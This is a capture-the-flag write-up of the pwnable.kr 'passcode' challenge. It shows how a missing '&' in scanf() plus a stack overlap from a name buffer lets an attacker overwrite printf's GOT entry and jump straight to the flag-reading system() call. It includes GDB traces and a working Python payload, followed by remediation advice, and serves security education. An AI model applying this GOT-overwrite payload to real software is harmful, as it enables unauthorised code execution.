Passcode

Using scanf() to Overwrite Memory

0xd4y

July 15, 2021

0xd4y Writeups

LinkedIn: https://www.linkedin.com/in/segev-eliezer/

Email: 0xd4yWriteups@gmail.com

Web: https://0xd4y.github.io/

Table of Contents

Executive Summary

Insecure code in the `passcode.c` file resulted in user-control of memory that is meant to be inaccessible. The lack of boundary checks in the `login()` function coupled with the improper usage of the libc `scanf()` function, consequently lead to the execution of the `/bin/cat` system command upon passing a carefully constructed malicious string. Specifically, the second parameter of `scanf()` was not an integer pointer value as it was not prepended with an ampersand. Taking advantage of insecure code and the fact that the binary in question is dynamically linked, an attacker is capable of overwriting the GOT entry of `printf()` or `fflush()` to jump to any place in the binary's memory.

Attack Narrative

The source code and compiled binary of the program were provided. Furthermore, the SSH credentials of the owner of this binary were given:

Username	Password
Passcode	guest

Binary Behavior

Source Code

Before executing the binary, the program's behavior will first be analyzed:

```
#include <stdio.h>
#include <stdlib.h>

void login(){
        int passcode1;
        int passcode2;

        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);

        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
        scanf("%d", passcode2);

        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                printf("Login OK!\n");
                system("/bin/cat flag");
```

```
        }
        else{
                printf("Login Failed!\n");
                exit(0);
        }
}

void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
}

int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");

        welcome();
        login();

        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;
}
```

There are three user-created functions in total: `main()`, `welcome()`, and `login()`. The `main()` function, however, is not of interest as it only calls `printf()` and the `welcome()` and `login()` functions. Looking at `welcome()`, a buffer `name[100]` is initialized with 100 bytes. Afterwards, the `scanf()` function is called with `%100s` as the first argument; up to 100 bytes of data are passed into the aforementioned buffer and subsequently printed out when passed into `printf()` (this behavior is examined in the Taking Advantage of name[100] section). After `welcome()` is called, the `login()` function is executed.

Two variables are initialized: `int passcode1` and `int passcode2`. Following the initialization of these variables, `scanf("%d", passcode1)` is called, but the second argument is not an integer pointer (as it is not prepended with the ampersand symbol). Next, `fflush(stdin)` is called as opposed to `fflush(stdout)`. Incidentally, usage of the former is not recommended as it can invoke strange behavior due to it being undefined. The call to `fflush()` is meant for output streams only in which the buffered data is outputted to the console[1]. The `scanf()` function is then called again in which the second argument is not prepended with the ampersand symbol. Lastly, an if statement is run which is true when `passcode1` is equal to 338150 and `passcode2` is equal to 13371337. On the condition that this is true, the flag located on the target system is read out.

Executing Binary

Executing the binary with the input of 338150 for passcode1 and 13371337 for passcode2 results in a segmentation fault:

```
┌──(0xd4y㉿Writeup)-[~/.../other/pwnable.kr/easy/passcode]
└─$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : 0xd4y
Welcome 0xd4y!
enter passcode1 : 338150
enter passcode2 : 13371337
zsh: segmentation fault  ./passcode
```

This behavior can be further examined using GDB, a GNU project debugger useful for dynamic analysis[2].

GDB

Examining Segmentation Fault

Running this binary in GDB, it can be seen that the program experiences a segmentation fault upon calling `scanf()` when moving EAX to EDX.

```
0xf7e23250 <__vfscanf_internal+14720>    mov    dword ptr [edx], eax
```

[1] https://www.geeksforgeeks.org/use-fflushstdin-c/
[2] https://www.gnu.org/software/gdb/

Looking at the value for the EAX register reveals the input passed to the passcode2 variable:

```
eax            0xcc07c9         13371337
```

Therefore, the input passed into the second parameter of the `scanf()` function has the ability to overwrite memory.

Taking Advantage of name[100]

Recall that `welcome()` only allocated 100 bytes to user input and implemented the `scanf()` function with the `%s` format specifier. The insecurity relating to this utilization of `scanf()` lies within the fact that it does not perform boundary checks on the user input. This unsafe practice results in a security hole in which user input can overflow the area in memory allocated for this buffer if the developer does not provide a safe value for the field width specifier. In the case of this binary, providing an input of larger than 100 bytes can result in the overflow of otherwise inaccessible memory located within `login()`. This is because the field width specifier is 100 (%100s) and 100 bytes were allocated to the name buffer. Therefore, the trailing null byte will spill into memory located right after the buffer. To demonstrate this concept, observe the following:

1. First, the login() function is disassembled to find when the initial if statement occurs.

```
pwndbg> disass login
Dump of assembler code for function login:
   0x08048564 <+0>:     push   ebp
   0x08048565 <+1>:     mov    ebp,esp
   0x08048567 <+3>:     sub    esp,0x28
   0x0804856a <+6>:     mov    eax,0x8048770
   0x0804856f <+11>:    mov    DWORD PTR [esp],eax
   0x08048572 <+14>:    call   0x8048420 <printf@plt>
   0x08048577 <+19>:    mov    eax,0x8048783
   0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
   0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
   0x08048583 <+31>:    mov    DWORD PTR [esp],eax
   0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x0804858b <+39>:    mov    eax,ds:0x804a02c
   0x08048590 <+44>:    mov    DWORD PTR [esp],eax
   0x08048593 <+47>:    call   0x8048430 <fflush@plt>
```

```
   0x08048598 <+52>:    mov    eax,0x8048786
   0x0804859d <+57>:    mov    DWORD PTR [esp],eax
   0x080485a0 <+60>:    call   0x8048420 <printf@plt>
   0x080485a5 <+65>:    mov    eax,0x8048783
   0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
   0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
   0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
   0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
   0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
   0x080485c0 <+92>:    call   0x8048450 <puts@plt>
   0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
   0x080485cc <+104>:   jne    0x80485f1 <login+141>
   0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
   0x080485d5 <+113>:   jne    0x80485f1 <login+141>
   0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
   0x080485de <+122>:   call   0x8048450 <puts@plt>
   0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af
   0x080485ea <+134>:   call   0x8048460 <system@plt>
   0x080485ef <+139>:   leave
   0x080485f0 <+140>:   ret
   0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
   0x080485f8 <+148>:   call   0x8048450 <puts@plt>
   0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
   0x08048604 <+160>:   call   0x8048480 <exit@plt>
```

Note the line highlighted in red which signifies the beginning of the if statement. The hex value `0x528e6` (338150 in decimal) is compared to **`ebp-0x10`**, thus at this point in memory lies passcode1. By the same token, the line highlighted in purple represents passcode2 in which `0xcc07c9` (13371337 in decimal) is compared to **`ebp-0xc`**.

2. After setting a breakpoint at login+97 (`0x080485c5`), the program is run with a username of 101 A's.

```
pwndbg> b *login+97
Breakpoint 1 at 0x80485c5
pwndbg> r
Starting program:
/home/0xd4y/business/other/pwnable.kr/easy/passcode/passcode
Toddler's Secure Login System 1.0 beta.
enter you name :
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

```
Welcome
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
enter passcode1 : enter passcode2 : checking...
```

3. Now looking at the value located at `ebp-0x10` shows something of interest:

```
pwndbg> x/x $ebp-0x10
0xffffd008:     0x41414141
```

41 in hex is ‘A’. Therefore, upon passing a large input to the `name[100]` buffer, the value for passcode1 can be written into. Additionally, observe the value for passcode2 located at `ebp-0xc`:

```
pwndbg> x/x $ebp-0xc
0xffffd00c:     0x2b959b00
```

The null byte, a byte which is automatically appended to the end of a string to signify its end, leaks into passcode2 as can be seen from the trailing 0’s. Moreover, note how although 101 A’s were passed, the last trailing A did not flood into the value for passcode2 because of the field width specification (namely `%100s`) in the `scanf("%100s", passcode1)` call.

Exploit Construction

Where to Jump

Due to the unstable nature of this binary, passing in 338150 as passcode1 and 13371337 as passcode2 does not result in the expected execution of /bin/cat, rather a segmentation fault occurs (see Examining Segmentation Fault). Therefore, in order to execute /bin/cat, it is essential that the program is manipulated to point to an address after the if statement and before the call to the system command. Looking at the disassembly of the `login()` function, this leaves the following addresses: `0x080485d7`, `0x080485de`, and `0x080485e3`. For the purposes of this report, the `0x080485d7` address is used which is 134514135 in decimal.

Which Function to Overwrite

With the established notion that one of the aforementioned values is necessary for the desired jump to the system call, the next question is "Which memory address should be overwritten with the desired value?". Ideally, the memory of a used function can be overwritten so as to point to one of the desired values.

Using the `readelf -a passcode` command, the file header, sections, and symbols (along with a lot of other information) can be seen. This facilitates the process of finding where functions are mapped onto memory.

```
Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a000  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
0804a008  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
0804a00c  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
0804a010  00000507 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
0804a014  00000607 R_386_JUMP_SLOT   00000000   __gmon_start__
0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
0804a01c  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
0804a020  00000907 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7
```

There are nine functions in total that readelf found. However, looking at the Source Code, only two functions are used before the system call and after scanf(): `printf()` and `fflush()`. Either function will work for this exploit, however in this report the `printf()` function is utilized. Due to this binary being in little-endian format, printf() in bytes is `\x00\xa0\x04\x08`.

Final Exploit

Piecing the information found in Where to Jump and Which Function to Overwrite together, the final exploit can be constructed:

Pseudo-Exploit: JUNK_BYTE * 96 + FUNCTION_TO_OVERWRITE + WHERE_TO_JUMP

Exploit: python -c “print ‘A’*96 + ‘\x00\xa0\x04\x08’ + ‘134514135’

```
passcode@pwnable:~$ python -c "print 'A'*96 + '\x00\xa0\x04\x08' +
'134514135'" |./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAA!
enter passcode1 : Login OK!
Sor[REDACTED] out scanf usage :(
Now I can safely trust you that you have credential :)
```

Post Exploitation Analysis

The binary exploited in this report was unstripped and dynamically linked:

```
┌──(0xd4y㉿Writeup)-[~/.../other/pwnable.kr/easy/passcode]
└─$ file passcode
passcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=d2b7bd64f70e46b1b0eb7036b35b24a651c3666b, not stripped
```

The fact that it was dynamically linked played an essential role in making the exploit succeed. To understand exactly how it worked, it is important to realize what dynamic linking is and how it operates.

Understanding Dynamic Linking

When a binary is dynamically linked, the libc calls within the program do not point to any meaningful addresses. Take the following snippet from passcode for example:

```
0x08048593 <+47>:    call   0x8048430 <fflush@plt>
0x08048598 <+52>:    mov    eax,0x8048786
0x0804859d <+57>:    mov    DWORD PTR [esp],eax
0x080485a0 <+60>:    call   0x8048420 <printf@plt>
```

Note the text highlighted in red. The program calls `fflush()` and `printf()` which are at `0x8048430` and `0x8048420` respectively. Since this binary is dynamically linked, before the binary is ever run, `fflush()` and `printf()` (and any other libc function for that matter) refer to placeholder addresses such as `0x00000000`. However, once the program is loaded, these addresses are resolved using the help of the Global Offset Table (GOT) and Procedure Linkage Table (PLT), a table which converts position-independent function calls to absolute locations[3]. When a libc function is called, the first thing the PLT does is jump to the GOT (Global Offset Table) entry of the called function. The GOT maps symbols (such as `printf()`) to their actual

---

[3] https://docs.oracle.com/cd/E26505_01/html/E26506/chapter6-1235.html

location[4]. Thus, when the exploit was passed into the binary, the GOT entry which maps printf() to its actual location was overwritten to instead point to `0x080485d7`.

Examining the GOT Overwrite in GDB

The way the binary handles the malicious input can be examined more in detail within GDB. After disassembling the login() function, it can be seen that the `printf()` call that occurs after `scanf()` is at login+60 (or `0x080485a0`):

```
0x080485a0 <+60>:    call   0x8048420 <printf@plt>
```

After setting a breakpoint at this function and passing in the exploit, the breakpoint gets hit:

```
pwndbg> b *login+60
Breakpoint 1 at 0x80485a0
pwndbg> r < <(python -c "print 'A'*96+'\x00\xa0\x04\x08'+'134514135'")
Starting program:
/home/0xd4y/business/other/pwnable.kr/easy/passcode/passcode < <(python -c
"print 'A'*96+'\x00\xa0\x04\x08'+'134514135'")
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA!

Breakpoint 1, 0x080485a0 in login ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────
──────────────────────────────────────────────────────[ REGISTERS
]───────────────────────────────────────────────────────────────────────────
───────────────────────────────────────────────────────

 EAX  0x8048786 ◂— outsb  dx, byte ptr gs:[esi] /* 'enter passcode2 : ' */
 EBX  0x0
```

[4] https://en.wikipedia.org/wiki/Global_Offset_Table

```
 ECX  0x0
 EDX  0xffffffff
 EDI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂-- 0x1e4d6c
 ESI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂-- 0x1e4d6c
 EBP  0xffffd038 --▸ 0xffffd058 ◂-- 0x0
 ESP  0xffffd010 --▸ 0x8048786 ◂-- outsb  dx, byte ptr gs:[esi] /* 'enter
passcode2 : ' */
 EIP  0x80485a0 (login+60) --▸ 0xfffe7be8 ◂-- 0x0
────────────────────────────────────────────────────────────[ DISASM
]───────────────────────────────────────────────────────────────
 ► 0x80485a0 <login+60>     call   printf@plt <printf@plt>
```

It was established that this exploit works. Therefore, somewhere within memory the address `0x80485d7` is loaded up. To find its exact location, the `info proc mappings` and `find` command within GDB can be utilized:

```
pwndbg> info proc mappings
process 1961
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0
/home/0xd4y/business/other/pwnable.kr/easy/passcode/passcode
         0x8049000  0x804a000     0x1000        0x0
/home/0xd4y/business/other/pwnable.kr/easy/passcode/passcode
         0x804a000  0x804b000     0x1000     0x1000
/home/0xd4y/business/other/pwnable.kr/easy/passcode/passcode
         0x804b000  0x806d000    0x22000        0x0 [heap]
        0xf7dca000 0xf7de7000    0x1d000        0x0
/usr/lib/i386-linux-gnu/libc-2.31.so
        0xf7de7000 0xf7f3c000   0x155000    0x1d000
/usr/lib/i386-linux-gnu/libc-2.31.so
        0xf7f3c000 0xf7fac000    0x70000   0x172000
/usr/lib/i386-linux-gnu/libc-2.31.so
        0xf7fac000 0xf7fad000     0x1000   0x1e2000
/usr/lib/i386-linux-gnu/libc-2.31.so
        0xf7fad000 0xf7faf000     0x2000   0x1e2000
```

```
/usr/lib/i386-linux-gnu/libc-2.31.so
        0xf7faf000 0xf7fb1000     0x2000   0x1e4000
/usr/lib/i386-linux-gnu/libc-2.31.so
        0xf7fb1000 0xf7fb3000     0x2000        0x0
        0xf7fca000 0xf7fcc000     0x2000        0x0
        0xf7fcc000 0xf7fd0000     0x4000        0x0 [vvar]
        0xf7fd0000 0xf7fd2000     0x2000        0x0 [vdso]
        0xf7fd2000 0xf7fd3000     0x1000        0x0
/usr/lib/i386-linux-gnu/ld-2.31.so
        0xf7fd3000 0xf7ff0000    0x1d000     0x1000
/usr/lib/i386-linux-gnu/ld-2.31.so
        0xf7ff0000 0xf7ffb000     0xb000    0x1e000
/usr/lib/i386-linux-gnu/ld-2.31.so
        0xf7ffc000 0xf7ffd000     0x1000    0x29000
/usr/lib/i386-linux-gnu/ld-2.31.so
        0xf7ffd000 0xf7ffe000     0x1000    0x2a000
/usr/lib/i386-linux-gnu/ld-2.31.so
        0xfffdd000 0xffffe000    0x21000        0x0 [stack]
```

Recall that `134514135` is `0x080485d7` in hex and it points to the location between the if statement and system call.

```
pwndbg> p/x 134514135
$1 = 0x80485d7
pwndbg> find 0x8048000,0x806d000,0x80485d7
0x804a000 <printf@got.plt>
warning: Unable to access 15357 bytes of target memory at 0x8069404,
halting search.
1 pattern found.
pwndbg> x/x 0x804a000
0x804a000 <printf@got.plt>:     0x080485d7
```

Note that the find command has the syntax find _start_address, _end_address, _what_to_look_for

The pointer for `printf()` was successfully overwritten to `0x08045d7`. Observe that this is different from the printf pointer before the exploit:

```
pwndbg> x/x 0x804a000
0x804a000 <printf@got.plt>:     0x08048426
```

When stepping one instruction, it is expected that from the printf() call, the program will look at the GOT entry of printf(). The program will then be tricked to believe that the code for printf() can be found at `0x08045d7`, and the EIP will therefore point to `0x08045d7`:

```
=> 0x080485a0 <+60>:    call   0x8048420 <printf@plt>

pwndbg> x/x $eip
0x80485a0 <login+60>:   0xfffe7be8
pwndbg> s
0x080485d7 in login ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS
]────────────────────────────────────────────────────────────
 EAX  0x8048786 ◂-- outsb  dx, byte ptr gs:[esi] /* 'enter passcode2 : ' */
 EBX  0x0
 ECX  0x0
 EDX  0xffffffff
 EDI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂-- 0x1e4d6c
 ESI  0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂-- 0x1e4d6c
 EBP  0xffffd038 --▸ 0xffffd058 ◂-- 0x0
*ESP  0xffffd00c --▸ 0x80485a5 (login+65) ◂-- mov    eax, 0x8048783
*EIP  0x80485d7 (login+115) ◂-- mov    dword ptr [esp], 0x80487a5
────────────────────────────────────────────────────────────[ DISASM
]──────────────────────────────────────────────────────────────
 ► 0x80485d7 <login+115>    mov    dword ptr [esp], 0x80487a5
   0x80485de <login+122>    call   puts@plt <puts@plt>

   0x80485e3 <login+127>    mov    dword ptr [esp], 0x80487af
   0x80485ea <login+134>    call   system@plt <system@plt>
```

Observe the instruction pointer (EIP) which jumped to the location between the if statement and system call.

Conclusion

The binary was successfully exploited which resulted in the leakage of otherwise inaccessible data. Compiler warnings should never be ignored. Unsafe practices involving user-input can lead to security holes. The `scanf()` function was improperly used, and is not recommended when dealing with strings (unless the developer is careful of the field width specifier and allocated buffer size). Furthermore, the second argument of `scanf()` was not prepended with the ampersand symbol, which allowed for the passing of an address causing the overwrite of `printf()`. The following remediations should be strongly considered:

- Prepend `scanf()` with the amerpand symbol (&)
  - Failure to do so allowed for the direct passing of an address
  - When dealing with strings, allocate at most a field width that is one less than the buffer
    - Due to name[100] having 100 bytes, the scanf() field width specifier should be 99 instead of 100 to take into account the null byte
- Use `sscanf()` in conjunction with `getline()` when dealing with user-inputted strings
  - getline() automatically allocates an appropriate buffer size to safely fit the input string[5]
  - The buffer of getline() can then be parsed with sscanf()

The aforementioned remediations should be followed as soon as possible to prevent the attack described in this report. It is essential that the developer follow safe programming practices especially when dealing with user-input.

---

[5] https://man7.org/linux/man-pages/man3/getline.3.html